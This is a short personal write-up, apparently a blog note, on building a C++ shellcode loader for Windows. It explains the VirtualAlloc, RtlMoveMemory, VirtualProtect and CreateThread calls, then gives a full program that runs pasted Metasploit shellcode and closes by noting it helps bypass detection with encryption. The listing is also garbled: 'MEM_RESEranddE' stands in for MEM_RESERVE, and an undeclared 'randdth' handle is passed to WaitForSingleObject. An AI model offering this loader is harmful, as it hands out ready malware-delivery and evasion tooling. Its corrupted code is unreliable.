This is not a tutorial guide or course. I have wrote this as my note. But you can also utilize my idea if you have basic understanding of C++ and windows API.

Understanding 5 WIN API

What is the idea to execute our shellcode?

  1. Allocate Memory space as RW to store our shellcode
  2. Copy our shellcode to that memory
  3. Make the memory as executable.
  4. Run the payload.
  5. Wait to exit

VirtualAlloc

This function allocate memory space. The Syntax:

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

lpAddress Is the starting address to allocate, in our case it is 0

dwSize The size in bytes. In our case the size of our shellcode.

flAllocationType In our case it needs to allocate memory charge MEM_COMMIT and MEM_RESERVEto allocate without physical storage in memory

flProtect The memory protection. In our case it is PAGE_READWRITE

RtlMoveMemory

This function will copy our shell code to our allocated memory block.

The Syntax:

VOID RtlMoveMemory(
	*dest
	*source
	*length_of_content
);

VirtualProtect

This function used to make the allocated memory space to be executable.

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

lpAddress Is our allocated memory address

dwSize Size of our payload

flNewProtect Memory protection type PAGE_EXECUTE_READ

lpflOldProtect A pointer to a variable that receives the previous access protection

CreateThread

This function create thread to execute within the virtual address

Here is the Syntax:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

lpThreadAttributes This is pointer to Security Attributes type of LPSECURITY_ATTRIBUTES In our case the value is 0.

dwStackSize Size of the stack. We all give it value of 0.

lpStartAddress Pointer to our allocated memory(VirtualAllocate). cast to LPTHREAD_START_ROUTINE.

lpParameter,dwCreationFlags, lpThreadId value is 0 in our case.

WaitForSingleObject

This function check the state of a object.

DWORD WaitForSingleObject(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);

hHandle to CreateThread

dwMilliseconds The time-out interval.

Final code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
int main(void) {
    
	void * red_virt;
	DWORD randprot = 0;
	BOOL randd;
	HANDLE eVil;


	unsigned char msf_shellcode[] = {
		//Paste shellcode here
	}; 
	//length_of_msf_shellcode
	unsigned int msf_shellcode_length = 689;
	red_virt = VirtualAlloc(0, msf_shellcode_length, MEM_COMMIT | MEM_RESEranddE, PAGE_READWRITE); //Allocate Memory space
	RtlMoveMemory(red_virt, msf_shellcode, msf_shellcode_length); //Move to that memory
	randd = VirtualProtect(red_virt, msf_shellcode_length, PAGE_EXECUTE_READ, &randprot); //Make it executable
	eVil = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) red_virt, 0, 0, 0); //Execute the shellcode
	WaitForSingleObject(randdth, -1);


	return 0;
}

Note: This is just a simple c++ program that can run any shell code. Useful to bypass with some encryption.